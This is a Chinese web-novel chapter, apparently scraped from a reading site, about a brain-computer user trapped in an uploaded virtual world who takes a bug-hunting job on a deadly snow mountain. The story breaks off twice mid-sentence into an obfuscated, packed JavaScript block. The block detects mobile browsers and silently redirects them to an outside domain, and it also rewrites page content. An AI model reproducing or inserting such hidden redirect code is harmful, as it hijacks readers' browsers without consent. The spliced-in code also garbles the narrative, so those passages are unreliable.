《云端猎人:赛博失忆应该算工伤》 1. 无法下线的客户端 “叮铃铃铃铃铃铃……” 贾思年在昏睡中听到了闹铃声。 她双眼紧闭,伸出手胡乱地摸着自己枕边,发现手机不在这边,便转个身朝另一边摸去,好像颠勺时翻面没翻利索的咸鱼。 然而手机也不在这一边。 X的,跑哪去了? 眼睛挣扎着打开了一条缝隙,她眯着眼看见阳光挤进两片厚重碎花窗帘之间的缝隙,她看见空气里悬浮的灰尘,想起幼年时在电影院见过的老旧放映机。 贾思年忽然瞪大了眼睛,这当然不可能是她在13号地下社区的家,昨天晚上是不小心在脑机接入仓里睡着了吗? 脑子里的雾气好像逐渐被驱散了,她又一次眯起了眼睛,她对这束光有点不舍,但清醒的代价就是焦虑,楼下工作室里还放着两条义肢要修理。 她心如死灰地唤起闹钟关掉。 “下线。”她万般不情愿地在心里说道。 过了一两秒,眼前的虚拟影像毫无反应。 卡了吗这是?贾思年伸手挠了挠乱蓬蓬的黑色短发,然后翻个身躺平在床上,气沉丹田,字正腔圆地说道,“下线。” 依旧毫无反应。 嘿?这是什么毛病?贾思年扑棱一下坐了起来,扯着嗓子对着卧室里的空气大喊,“下线!” 依旧毫无反应。 哈?难道是下线模式改了?这种事现在都不发个公告了吗?上载集团的运营都是干什么吃的? 贾思年骂骂咧咧地唤起信箱,没有发现新消息,又在垃圾邮件里翻了翻,也没看到什么官方通告。 她退出了信箱,打开公告空间,瞬间被扑面而来的全黑白空间包围了,贾思年的脑袋又暂停了两秒。 她看到一个穿着正装的女人微笑着站在她的面前,好像几个世纪前的黑白默片,她身后的背景墙上,漆黑的大字写着:“上载集团首席技术官凯瑟琳·奥克利女士逝世”。 贾思年端详着女人的脸,似乎对这个人有点印象,虽然相比上载集团的CEO,这个人平时低调得多,但偶尔也能在新闻上看见她的名字。关于她的新闻,无非是今天突破了什么技术,明天又有什么新功能上线了,不过这些功能通常是针对上载人开发的,跟贾思年是八竿子打不着。 去世了? 没有上载吗? 贾思年伸出手触碰那条讣告,一条简短的信息进入了她的脑内:凯瑟琳·奥克利今早被发现死在家中,发现时已是脑死亡状态,具体死因需要等待尸检。 哈?贾思年严重怀疑自己脑子里进入的是幻觉。 真是稀奇了!这年头,像奥克利这样的人物怎么会随随便便就死了?以她在上载集团的贡献,不是轻轻松松就可以在云端永生吗? 新闻的公告开启了评论精选,一排排的RIP和一路走好进入了贾思年的脑袋,她点开了转发,看到了一条高赞评论: “奥克利女士一向身体健康,为何突然去世?身为上载集团顶级技术和管理人员,为何没有提前准备上载或是健康监测?” 这条转发之下,信息量巨大,众说纷纭。 “难道奥克利是遇害了?” “不会是自杀吧?” “上载世界还是全息游戏的时候也有一个科学家猝死了。” “唉,太辛苦了,奥克利女士一路走好。” 贾思年随手转发了这条,没根据的事还是应该让子弹飞一会儿。不过现在不是关心别人的时候,她回到公告主空间里左右扒拉了半天,也没看见任何更新的公告。 “阿萨菲尔的马是不是没了?”简单的嘴臭,极致的享受,她激情辱骂上载集团CEO,退出了公告空间。 这傻X客户端天天到处是bug。 “心烦意乱,入睡困难,就用清心情绪插件!上载集团,您的伙伴!……”突然一个非常亢奋且中气十足的男声闯进了她的脑袋。 “XXX”贾思年又一次骂出声来。 但是关掉它又是另外的价钱,显然贾思年没花这个钱,只能在本就烦躁的时候耐着性子等这个二十秒的广告放完。 他们怎么不拿这个见缝插针放广告的精神头好好修修客户端? 贾思年在这二十秒里激情问候了阿萨菲尔的全家,然后唤起了客服会话。 “您好,我是客服助手,请问有什么可以帮助您?”客服机器人的半身像漂浮在了空中。 “我是脑机用户,今天突然发现没法下线了,你可以接入我的视野看一下。”贾思年主动分享视野。 客服机器人短暂地接入了贾思年的视野,很快回答道:“您的问题已分析,初步判断是脑波识别问题,正在为您处理,这个过程约十秒钟,请不要退出会话。” 贾思年看着机器人半身像底下的进度条发呆,十秒过后,她感觉自己的视野忽然被刷新,好像头顶的灯突然闪了一下。 “您的问题未解决,正在为您转接人工服务,请不要退出会话。” 未解决?贾思年在心里默默地喊下线,发现眼前的景象还是未动分毫。 机器人的影像消失了,一个男声传了过来:“您好,您反馈的问题已经收到,我这边来给您处理,请您打开视野共享,开启后台远程操作,稍事休息。” 贾思年平躺在床上,看着天花板上的铜制吊灯,感觉自己好像在进行开颅手术,程序员在远程对她的脑子开刀,还要她一直保持清醒。 贾思年百无聊赖地想着今天的安排,楼下的一条胳膊一条腿这周都要交工,时间紧任务重,她其实没什么时间在这陪他们调试客户端,但是转念一想,似乎又有了延期交付的正当理由,修理工被困在上载世界下不了线,怎么不是正当理由呢?贾思年在心里窃喜。 但是脑袋里又忽然浮现出客户那仿佛活不到下周的嘴脸,她拍了拍脑门,觉得有点烦。 “心烦意乱,入睡困难,就用清心情绪插件!上载集团,您的伙伴!……”那个非常亢奋的男声突然又跑进了她的脑袋。 …… 贾思年的嘴角向下,脸上的脂肪和皮肉好像要沿着床边流到地板上。 真是服了! …… 正当贾思年等得昏昏欲睡,一个装着义眼的男人忽然漂浮在了屋子正中央,“贾女士你好。” 贾思年瞬间清醒了,猛地坐了起来。 “抱歉久等了,刚刚技术部门拉了紧急会议讨论,目前的问题是这样的:您的注册信息是脑机用户,但是您现在的后台数据是上载用户,我们第一次发现这样的问题,需要一些修复时间,实在非常抱歉。” 什什什什什么?贾思年的脑袋今天已经不知道是第几次暂停了,槽点太多让她一时不知从哪吐起。 这也能搞混吗?!脑机人和上载人不应该是两个不同的类吗?!这是怎么能实例化成另一个的啊?! 关键是她现实世界的工作室里还放着客户的胳膊腿,延期交工是要扣钱的! “我们会按照每天六百科币的误工费对您进行补偿,另外我们注意到,您是注册的云端猎人,如果方便的话,我们希望您在此期间可以接单执行任务,集团非常期待您的情绪体的表现。” 贾思年沉默了。 但她的脸上还是挂上了笑容,“上载人接触bug可能真的会死,你们应该是知道的吧?” 云端猎人是专门负责在上载世界处理故障和漏洞的职业。云端上载技术作为末世延续人类文明的第一方案,倾尽地球所剩无几的资源发展了几十年,最终却发现0和1精确计算出的秩序看似完美,实则漏洞百出。 而对抗这些故障的利器竟然只有一个,那就是生物用四十亿年随机突变得到的混沌结晶—人类的情绪。 云端猎人会把自己的情绪抽离成各种形式的武器,用来隔离或者破坏这些故障代码在上载世界形成的怪物,再上报给猎人总部处理。 这个工作向来都是脑机用户在做,因为脑机用户遇到实在解决不了的棘手问题还可以强制下线,而上载用户就只能是死路一条— 上载人已经抛弃了实体,云端的意识就是他们存在的全部。 好在云端永生的门槛足够高,只有有突出贡献的科学家和财力雄厚的人才有资格在近地轨道的服务器群里得到一个小小的隔间,高高在上的上载人显然也不需要做云端猎人这样的工作来维持生计。 除了此时此刻程序突然放飞自我的贾思年。 对方显然注意到了她的皮笑肉不笑,连忙说道:“我们给你配了紧急信息发送器,已经下发到你的背包里,如果有紧急情况按下按钮,猎人总部立刻就会调动资源处理。” 贾思年唤起背包,看到了一个简陋的开关按钮,模样好像几个世纪前的电磁开关,与上载集团一贯精心设计的空间格格不入。 “你按下开关,按钮会变成红色,然后在原地等待救援就可以了。”男人解释道。 “另外,在此期间完成的所有任务,赏金都会按照五倍给您发放。”男人补充道。 多少? 五倍? 贾思年的怒火好像忽然被一盆凉水浇灭了。 他们给的实在太多了! “您看这样您能接受吗?如果可以的话,总部就还按照以前的算法为您匹配接单,在此期间取消接单不会影响您的评分,您可以自行判断。” “咳咳……”贾思年清了清嗓子回答道:“……那什么……那好吧。” 贾思年退出了客服会话,又重重地躺了回去。 天呐,我在干什么?她胡乱地猛抓自己的头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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贾思年当然知道科斯塔联盟上个月又关停了两个公共地下社区,因为她家附近的街上现在到处都是难民。 征收房屋维护费,还只针对下等城区,十三区真穷到这种程度了吗?怎么不去富得流油的中心社区敲一笔呢? 关停13号社区看来也是早晚的事了,十三区本就是三个联盟合作建立的公共社区,如今早就变成了三不管地带。社区一直传达给贾思年这种下等居民的意思就是,这地方有水电空气就不错了,其他的建议不要异想天开。 环境恶化,能源枯竭,第三次世界大战后,现实世界的人类只能住在地下社区里,按照现在关停社区的速度,贾思年知道自己早晚都要在当哪种小白鼠之间幸运二选一,要么在现实世界参与基因改造,要么在云端变成上载人。 然而当小白鼠也是有条件的。 无论是基因改造还是意识上载,都是一笔很大的开销。贾思年就算身兼二职,还是不能支付起基因改造或者意识上载的全部费用。 所谓世俗意义上的好工作,就是让贾思年疲惫得刚刚好,既不至于完全陷入绝望,也不会给她多余的希望。像她这样的下等居民,生下来就注定只能拼命增加电子钱包里那个虚无缥缈的数字,来换一个也许可以活下去的机会。 贾思年透过二楼的窗,看着院子里的杨树枝叶随风而动,叶子布满白色绒毛的背面被人工太阳照得闪闪发光,一阵微风拂过,叶片之间发出哗啦啦的响声。 这可是虚拟货币碰撞起来发出的响声,这棵树花了她不少钱。 她打开窗户,把手伸到阳光下,人工太阳同样把她小麦色的皮肤照得发亮,她感受到阳光的温度,觉得温暖,但转念又意识到那不过是代码中的一个数字。 贾思年皱起眉,突然觉得有些厌恶,她厌恶自己对这个虚拟的美好过去的渴望,可她唯一能做出的反应只有妥协。 她把手从阳光下抽回了阴影之中。 “叮咚。” 贾思年的视野里忽然弹出一个熟悉的影像,她不耐烦地撇了撇嘴。 “云端猎人系统已为您自动匹配接单。 任务内容:鲁米肯特雪原发现代码缺陷,部分脑机用户意识丢失。 目标定位:谱尼迪威山。 任务完成实发赏金:五十万科币。 请确认是否接单。” 哈?脑机用户意识丢失?上载集团这算法是故意的吧?明知道她现在是脑机人和上载人的叠加态,偏偏就要推送这种能让她丧命的任务是吧? 贾思年恶狠狠地盯着实发赏金冒号后面特意被放大加粗了的“五十万科币”,然后竖起中指,猛戳了下确认接单。 2. 吃人的雪山(一) 贾思年在雪地里机械地搬动双腿。 毛线帽外呼啸的风声混着自己在面罩下均匀的呼吸声,她开始幻想如果两天前自己没有财虫上脑对着“确认接单”一顿猛戳,此刻应该像个安度晚年的老头子一样坐在金港的人工阳光下喝茶。 虽然在上载世界喝茶只是刺激感知味觉的神经,但如果此时可以待在阳光明媚的金港,干什么也并不重要。 她听见自己规律的呼吸声里插入了一声叹息。 两天以前,贾思年经过了近十个小时的飞行,终于睡眼惺忪地来到德沃诺山脚下的旅馆。在上载世界,时间是被明码标价的头等商品,瞬间移动会耗费大量的资源,显然不是贾思年能选择的旅行方式。上载世界曾经更新过多次内存搬运的包装形式,最后竟然还是选择了几百年前的交通方式。 贾思年往下扯了扯皱了的防风衣后襟,推开了旅馆老旧样式的木质大门。 “您来爬山?现在可不是时候。”旅馆前台的男招待带着浓重的当地口音,他向左右张望了一番后悄声说:“昨天夜里又有一队诺雷向导遭遇了雪崩,很多人遇难,到现在也没把他们全都带回来。” 他把房门钥匙递给贾思年:“从去年开始,安全区就频繁发生雪崩,有些向导意识丢失,到现在还只能靠接入仓补充营养剂维持生命。” “所有人都说不应该再登山了,您恐怕很难能找到向导了。” “我就是为这事来的,”贾思年唤起菜单亮了一下云端猎人的标识。 “旅游局发公告说不能登山了吗?”贾思年拿起钥匙问道。 “……那倒是还没有。”男招待有些迟疑:“但我觉得是迟早的事,没有诺雷向导,上载人也没法登上威迪文。” 喜欢登山的上载人并不是少数,想要征服世界之巅,在现实世界可能会把小命搭上,但在上载世界却是花上两个月时间和百万科币就可以完成的。 在地表上活动,那是直面残酷的现实;在虚拟世界去运行资源少的地方,这叫探险精神和格调。运行资源越少的地方,越有格调,而世界之巅威迪文的山顶几乎只有维持环境的运行资源,一切都跟几百年前一样,那可真是太有格调了。 贾思年当然不懂人傻钱多的上载人所谓的“格调”,在她看来这纯是吃饱了撑的。 不管怎么说,登山业现在是上载世界旅游局最大的收入来源之一,上载集团在其中谋取暴利,实际在山上卖命的却始终都是脑机接入的诺雷人。 贾思年当然知道这不公平,但是不公平的事实在太多了。从去年她就听说有脑机接入的登山向导在雪崩中意识丢失,上载集团赔了这些人的家属们一大笔钱,这事就算不了了之了。 反正上载集团最不缺的就是钱,而这些人最缺的就是钱。 她轻轻晃动挂在食指上的钥匙圈:“我想去谱尼迪威山,您看有向导能带我去谱尼迪威吗?” 男招待睁大了眼睛:“很少有人去那里,现在能去的向导就更少了,况且昨天的雪崩不是在那里发生的,您确定要去谱尼迪威?” 贾思年挠了挠头,黑色的自然卷经过在飞机上一晚的蹂躏乱蓬蓬地缠在一起,她有点烦躁,问道:“这里登一次威迪文峰向导能拿多少钱?” “五千科币。” “我出三倍,一万五千科币,麻烦您帮我联系位向导去谱尼迪威吧。” “……确实是诱人的价格,我可以帮忙联系,但我还是劝您别抱太大希望……” “就算没有向导我自己也要上去,您这里能帮忙办登山许可吗?” “……可以是可以” “我今天下午就得上山,不管怎么样麻烦帮忙弄个登山许可,事成了我付你五百科币。” 男招待又一次睁大了眼睛,连连点头:“我这就给旅游局发申请消息,老板有亲戚在那里工作。” 贾思年顺着走廊来到自己的房间,拧开似乎比她岁数都大的木质门把手,感叹上载世界居然还有旅馆用这么原始的门锁。她瘫在了床上,她的体力值已经掉到只剩一个红框,如果不想用体力补剂,她需要尽快睡觉释放运行资源。 贾思年陷进老旧的弹簧床垫,错乱的时差和长时间的脑机接入让她有些轻微的头痛,而一想到下午就要登山,向导还没有着落,贾思年就觉得头更疼了。她调出日程表看自己修理铺最近的工作交期,还有五天,如果上载集团能尽快解决她没法下线的问题,她完成了任务就可以回去干活了。 真是纯纯牛马思维,她叹了口气。 贾思年开始下载三维地图,她打开任务系统对漏洞的实时跟踪,看到地点明确标记在谱尼迪威山上一个海拔五千米的山洞里,这个红点已经两天没有移动了。 贾思年有点纳闷儿,这种比较复杂的问题一般情况下不会老老实实地在一个地方待着,这个位置简直就像是故意设下的陷阱。 贾思年把地图放大,看见这个山洞的前方还有一段冰壁,她旋转影像,发现如果想从侧面绕过,则要多花半天时间,还要穿过一段最窄处也要六米左右的冰裂缝。 果然是钱难赚,屎难吃,贾思年觉得更烦了,她关掉地图合上了眼睛,顶不住困意睡着了。 …… 贾思年再醒来时已是下午,她从背包里调出了一管营养剂输给躺在接入仓里的自己,然后离开了房间,来到了旅馆的大厅里。 向导还是没有着落,前台的男招待建议她再等一等,贾思年只好坐在大厅的沙发上发呆。 “真是不幸,”旁边的沙发上有人对她说着卢克索腔调的祖玛拉尼语,“你从哪里过来?” 贾思年转头看见两个上载人正在向她搭讪。 “我从金港来。”她笑了笑回答道。 “金港!”卢克索男人很惊讶,“这么远过来却遭上这样的事,闹事的诺雷人简直是一帮暴民。”旁边的男人也点点头表示赞同。 “听说有向导遇到雪崩意识丢失了?”贾思年有点心不在焉。 “是的,很不幸,但是这不能成为停止登山的理由吧?至少我们对自己的行为完全负责,可以承担雪崩的风险。”男人一脸的义愤填膺。 “但是没有向导根本没法上山。” “是啊,他们自己害怕了不要上山还不许别人上山,简直是一帮野蛮人!” 听着这些聒噪的抱怨,贾思年在心里白眼已经翻到了后脑勺,如果是十几位他们这样的上载登山家在山上遇难,上载集团怕不是要为他们降半旗。她微笑着向他们告别,走出了旅馆的大门。 恐怕要自己上山了,贾思年越来越觉得没底,她看见不远处的路上有成队的耗牛驮着货物,脖子上的铃铛发出叮叮当当的响声,她穿过旅馆前的广场,随手拨动广场边上的一排转经筒,铜质的经筒无声地转动,她走到广场中间挂着彩色旗子的白塔前,抬起头看着白塔的圆顶和上面金色的装饰。 为了祈求遇难的人平安归来,有人在塔前点燃了树枝,她看着白色的烟雾逐渐升高,在空气里弥散,最后又回归到德沃诺山脉,就像那些注定在山上奔波,却再也回不来的魂魄。 贾思年不会在上载世界信什么赛博宗教,她只希望自己能安全回来。 “……女士,您好。”贾听见有人带着浓重的当地口音用祖玛拉尼语叫她,回头看见了一个身材单薄的少年。 “女士,我叫阿太……我听旅馆的人说您要登谱尼迪威山,我可以做向导。” 贾打量了一下少年黝黑稚嫩的脸和没超过她的身高,问道:“你多大了?有登山经验吗?” “十六岁,”男孩声音很小,但马上抬起了头:“我登过谱尼迪威,我父亲带我登过。” “那你父亲同意你带我登山吗?” 阿太又低下了头:“……我父亲去年在山上意识丢失了。” “我听那些人说今年谁再上山就要打断他的腿,你确定你可以上山?”贾思年双手抱在胸前,继续问道。 “我们去谱尼迪威,他们不会知道,”阿太的头更低了,贾思年觉得他好像快哭了,“如果不上山,今年家里就又没有收入了,上载集团给的赔偿金,还要给爸爸输营养剂。” 贾思年看到阿太身后的山上有鸟成群飞过。 斑头雁,贾思年在视野里展开了那群鸟的注解,三百多年前,那是唯一一种能成群飞过德沃诺山脉的鸟,每年的三月底至四月初,斑头雁会从劳拉西亚洲北部的高原飞越德沃诺山脉,穿过埃提大洋,飞往科斯塔洲东部的山地。 一些斑头雁为了躲避天敌,会把巢筑在山地的悬崖上,然而悬崖上的食物和水非常有限,雏鸟想要生存下去,要做的第一件事就是跟着父母从悬崖上跳下去,这是它们迈向更加艰难的一生的第一步。 贾思年看着阿太圆圆的头顶,她讨厌斑头雁的故事,她对着他的脑袋说:“我叫贾思年,来处理向导意识丢失的问题,我们可能过会儿就得出发,不需要登顶,最多只需要去海拔不到五千米的山洞,你知道山洞的位置吗?” “……我知道。” “我比较赶时间,打算从山洞前面的冰壁上去,这一段你不必跟着我,至于怎么回来可能需要到时候再考虑,我们现在得去准备梯子和私有频道无线电。” “所以,所以您同意我给您当向导了?”阿太有点磕磕巴巴。 “我先付你一万科币,回来再付五千,你有电子账户吧?” “有的,有的!我们快去准备东西吧!”阿太高兴极了,拉着贾思年欢天喜地地向附近的商店走去。 …… 贾思年在白茫茫一片的视野里唤起意识体状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537531|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 态栏,右上角的信号格从凌晨离开营地没多久就变成了一个叉。这条路并不是常规的商业登山线路,几乎没有配套的设施和运行资源。 好消息是这一路都没什么异常,她在脑袋里打开已下载的地图,看到自己已经踏入了漏洞危险区,那个山洞的位置已经不远了,她冲着大致的方向望去,一片白茫茫的雪地,不远处是一段混着冰雪的峭壁,哪有什么山洞。 “阿太,你能看到山洞吗?”贾思年在私有频道里喊住走在前面的小向导。 “女士,昨天夜里山上突然下了大雪,雪可能盖住了洞口,前面那段峭壁上,您仔细看能看到一小段平台。”阿太指向上面一段积雪下的阴影。 贾思年把防风镜推到头顶,眯起眼睛顺着阿太手指的方向望去,倒是确实能看到一段平台,但是平台后面还是一片白茫茫的积雪。 “好的,接下来要小心,我们已经进入了危险区,你就留在原地等我,如果出现危险情况,你要立刻下线保证自己的安全。” 贾思年从背包里调出了一把匕首,这是她的悲伤抽离出的情绪体。 “让我跟您走到山洞下吧,我没问题的。”阿太说道。 “不行,这个漏洞有可能会导致脑机用户意识丢失,你留在原地。” “让我一起去吧,如果情况有一点不对,我会立刻下线的!” 好言难劝找死的鬼。 贾思年不想带着这个累赘,但是如果他执意跟来,她又无可奈何。 “随便你吧,但是我不保证你的安全。” 站在一百多米高的冰壁下,贾思年摘下了防风镜,抬头看了看几乎垂直的峭壁。 她不是什么专业的登山家,因为云端猎人有这项入职考核才专门学习了攀岩。贾思年向上望去,她的疑惑又一次放大了,一个可以吞噬脑机用户意识的严重漏洞,为什么会连续两天在无人区的山洞里一动不动似王八? 她本以为在来这里的路上就可以把这个麻烦解决掉,没想到居然真的要从这爬上去。 贾思年迟疑了,她的直觉告诉自己这里大有问题,但是手里的匕首还是变成了两把冰镐。 “如果它想做什么,那就让它来吧。” 她在脑袋里的地图上选择了一条线路,然后就把冰镐的鹤嘴敲进了头顶的冰雪中。在这条垂直的路上,冰雪混合着岩壁,使其破碎不堪,她不断用冰镐和冰爪试探,缓慢地向上攀爬。 玩命的感觉。 贾思年在途中向下瞥了一眼就立刻收回了目光,恐惧也是她工作的一部分。下等城区的人想要在末世活下去,就是得玩命,不想玩别人的命,就得玩自己的命。 在绝对的专注下,贾思年并不容易感受到时间的流逝,但是人工太阳始终在没有任何感情地移动。快到中午了,温度逐渐升高,贾思年能感觉到冰雪在融化,在温暖又致命的阳光下,她的头上泛起了细密的汗珠,但她的手早就冻僵了,她试图在向上攀爬的过程中不断活动自己的手指,但根本无济于事。 “就快到了。”她在心里默默地安慰自己。 贾思年终于看到了岩壁的边缘,她依靠冰镐把自己整个拉到平台上。她长舒了一口气,回头看向远处,一片朴素纯白的世界里,她和阿太留下的足迹向着无限远延伸。 她又一次在命悬一线时侥幸逃脱。 忽然,贾思年觉得身下的岩台向下移动了一寸。 是脑机接入太久出现幻觉了吗?她猛地甩了甩头。 突然,她开始剧烈地下落。 贾思年来不及思考,手中的登山镐立刻变成了钩锁,她试图抓住上面的岩体,然而被钩住的冰柱和岩石也立刻脱落,随着她一起极速下坠。 糟了! 贾思年心中一紧,她试图像猫一样扭转身体,调整重心。然而当她在空中翻转过来的一刻,她没有看到留着脚印的雪地和她重金请来的小向导。 残缺的尸块、破碎的岩石和冰雪的图层混乱地堆叠,在她两侧磊起了闪烁着马赛克的裂隙。 而她的身下,是万丈深渊。 贾思年进入过很多次bug制造的虚拟场景,但还是吓了一跳,她眯起了眼睛忍住不看那些冰封的手脚和躯干,从冰窟里吹上来的风割得她脸生疼。 她还不想死,她把手臂举过头顶对抗失重感,立刻从背包里调出上载集团给她的紧急发信器,她按下了按钮。 毫无反应。 完了。 要死在这里了。 贾思年的心中忽然流过一丝懊悔。 她早该想到这是一个陷阱,一个一年多无人维护的问题为什么突然变成任务下发给她;她早该意识到上载集团根本不可靠,这个粗制滥造的发信器不过是拿来糊弄她的玩具。 贾思年坠入了万丈深渊。 3. 吃人的雪山(二) 威迪文峰二号营地,几名诺雷向导提着暖水瓶和保温桶,正在挨个帐篷发放早餐。 “早上好先生。” “早上好,噢我的茶里不要放糖。” “抱歉先生,我再给您换一杯。” 贾思年在睡袋里醒来,她拉开了一点帐篷的拉链,透过缝隙看见了纯净的蓝天。 今天是个适合登山的好日子。 “贾!快看我给你带了什么!” 贾思年听见迪皮卡的声音,她把帐篷的拉链彻底拉开,迪皮卡戴着一顶红色的毛线帽,两条又粗又黑的辫子搭在肩膀上。 “带了什么?”贾思年笑着问她。 迪皮卡向四周张望了一下,然后把头伸进了贾思年的帐篷里,她从防风服的口袋里,掏出了两个套着透明包装袋的小蛋糕。 贾思年眼睛一亮:“你从哪搞来的?” 迪皮卡笑了,黝黑的皮肤衬着她洁白的牙齿,“爸爸说昨天来送补给的是和我们一个街区的叔叔,他知道我也来了。” 迪皮卡是登山队长阿尼尔·塔帕的女儿。 登山队出发前的晚上,贾思年从房间出来吃晚饭,在旅馆的大厅里看见这个女孩在跟塔帕队长激烈地争吵。他们说着当地的语言,贾思年脑子里翻译转换的速度跟不上他们的语速,只能大概听懂塔帕先生是女孩的父亲,并且他不同意她跟他们一起上山。 “晚上好,塔帕先生。”贾思年装作漫不经心地走过去。 “晚上好贾女士。”队长见她过来,立刻停止了和女儿的争吵。 “这是怎么啦?”贾思年冲他露出微笑。 “我女儿不懂事,不必在意。”队长宽厚的脸上看起来有点不好意思。 “我也要去爬山!”一旁小脸通红的女孩突然说道。 贾思年看见女孩的眉头在不经意地较着劲,她的眼睛里亮晶晶的,似乎在忍着眼泪。 “我已经十五岁了,哥哥十五岁的时候你就带他去爬山了!” “你和比克不一样。”队长对女孩严厉地说道。 “怎么不一样!” 眼看着要爆发新一轮的争吵,贾思年赶紧打断了父女俩的对话,“怎么啦队长?她不能上山吗?” “我没有多余的精力照顾你,向导队伍里没有女人,你跟着上山很不方便。”队长没有回答贾思年,直接对女孩说道。 “让她跟着我不就好了?我是女人,我不介意照顾她。”贾思年突然开口说道。 “这……这怎么好……”队长睁大了眼睛,有些犹豫。 “没关系!她已经是大姑娘了,不会给我添麻烦,让她跟着我吧!”贾思年露出了夸张的笑容,冲着女孩眨眨眼睛。 那一晚,塔帕最终没有抵抗住女儿充满期待的眼神,艰难地点了头。 …… 虚拟食物对于上载人来讲没有补充营养的意义,但无论是在现实还是在上载世界,美食都是极好的精神享受,贾思年和迪皮卡一起偷偷吃掉了小蛋糕,就开开心心地收拾行李跟着登山队出发了。 今天的路线是沿着一号线路继续向上爬,途中会经过几个裂隙,但都是不必架梯的小裂缝,一切顺利的话,下午就能到达下一个营地。 贾思年已经全部穿戴好,她抬起头看着一尘不染的蓝天。 今天真是个适合登山的好天气。 向导们提醒队员把安全绳扣好,整个队伍就被绳子连在了一起,像一串长长的彩旗。贾思年在迪皮卡之前,她一边向上爬,一边在上山前偷偷买的私有频道里跟迪皮卡聊天。 “今天天气真好!” “是呀,爸爸说,如果运气好,再有三天就可以登顶了。” “最近的天气好像都很好,我看过天气预报。” 贾思年来到了一个裂缝,她稳了稳身体,一脚跨了过去。 她回头站在原地,等着迪皮卡也跨过来。 迪皮卡一脚迈出,这个裂缝的宽度不到半米,成年人轻轻松松就可以跨越。 然而就在她踩到雪地前的瞬间,缝隙突然裂开了巨大的口子,迪皮卡一脚踩空,她紧紧拉住安全绳,整个人悬在了裂缝上空。 绳子上传来的冲击让贾思年跪在了雪地上,怎么会突然发生这样的事?贾思年没时间多想,她立刻在公有频道里说道:“最后一个裂缝突然开裂,迪皮卡被困在空中了!” “收到!前后队员立刻支援!” 她们前后立刻有向导赶来,迪皮卡冷静地抓着安全绳,但还是在空中被风吹得摇摇晃晃。 “别怕,我们这就拉你上来。”贾思年在私有频道里安慰她。 贾思年和两位向导握紧迪皮卡的安全绳,一起向上拉拽,缓缓地把她拖到了前面的雪地上。 呼,得救了。 贾思年松了一口气。 突然,不知从哪传来了轰隆隆的巨响,好像是闷热的夏季暴雨前的雷声。大块的雪块开始从山上滑落,贾思年看着雪块滚落进迪皮卡身后的裂缝,大脑忽然一片空白,她的身上开始控制不住地颤抖。 是雪崩。 无处可逃。 固定在山体上的绳子突然开始松动,迪皮卡又一次被扯进了裂缝里,贾思年立刻猛地扑到了雪地上,在迪皮卡掉进深渊之前,拉住了她的手。 “这下应该是没救了。”贾思年狼狈地在私有频道里说。 “但是很高兴认识你。” 贾思年的话音刚落,忽然听到一声惨叫,有人从身后滚落进了裂隙,她惊恐地瞪大了眼睛,却突然意识到手臂上传来的拉扯越发沉重。 一个十五岁的女孩,会有这么重吗? 贾思年突然觉得哪里不对,她看到迪皮卡身后的冰块里封着人类的残肢,岩石和冰雪的图层混乱地叠在一起,不断有人惨叫着从身后掉进裂缝里,他们都穿着橙色的向导工作服。 望不到底的冰窟里,寒风卷着绝望的回声,像刀子一样割在贾思年的身上。 尖叫声和雪崩的巨响声在贾思年的脑袋里沸腾,一股无形的力量把迪皮卡向深渊拉去,疼痛的信号在贾思年的身体里蔓延,她感觉自己的身体快要裂开了。 “放手吧,贾。”迪皮卡虚弱的声音从私有频道传来,“我也很高兴认识你。” 无力感像下了整夜的雨,从地下逐渐漫上贾思年的心头。 贾思年讨厌脆弱的感觉。 她的目标是做最强的云端猎人,她不允许自己脆弱。但是脆弱从来都不会消失,反而总是在某个紧张的瞬间突然跳出来,刚好击中那根被拉展得最纤细的神经,让她发现原来自己一直都是这么脆弱。 她既无法阻止雪崩,也救不了迪皮卡。 她救不了任何人。 贾思年好像又一次看见了那种叫斑头雁的鸟,它们在冰窟里盘旋,然后一只接一只地撞死在冰壁上。鲜血染红了冰封的残肢,它们悲鸣,然后尸体成群结队地掉进了裂隙。 这群该死的鸟为什么会在这里? 她看到迪皮卡圆圆的头顶。 她怎么在这? 我不是说不要跟来吗? 贾思年突然暴怒,在私有频道里对迪皮卡大喊。 “我都说了你留在原地!你为什么非要跟来!” 吊在空中的迪皮卡抬起头,错愕地望着贾思年的眼睛。 贾思年突然愣住了,在她的视野里,迪皮卡的脸忽然和阿太的脸重叠了。 是啊,这是阿太。 她原本在处理漏洞。 这是陷阱! 深渊似乎意识到了贾思年突然的清醒,更大的力瞬间拉扯在了她身上,咔嚓一声,贾思年看着自己的身体从锁骨被撕裂,她的视野蒙上了一层猩红,她已经痛得没有知觉了。 贾思年用仅存的意志调出了背包,胡乱地使用了背包里所有的精神强化剂,标着类肾上腺素的强化组件在她的意识体中蔓延,强迫她的大脑保持清醒。 眼前迪皮卡的影像突然闪了一下,她的图像开始被压缩,逐渐能看到明显的像素颗粒。迪皮卡的意识体开始分解,贾思年看到她的记忆在空中四散。 她看见迪皮卡趴在塔帕的接入仓前祈祷,看见她剃光了头发扮成男孩,看见这一年里她每天都蹲守在广场上,等着一位不知何时才会出现的云端猎人。 然后贾思年看见了自己,看见了白塔前自称阿太的男孩,和他身后成群飞过的候鸟。 贾思年讨厌这个故事。 地下社区里,哪个人不是在拼命地活着? 13区下等城区的大街上,最不缺的就是流浪的孤儿,如果不为了自己拼命活下去,随时都有可能在不知哪个角落变成尸体被分而食之。 又有谁生来不像这些鸟? 贾思年觉得该死。 但是该死的绝不是迪皮卡。 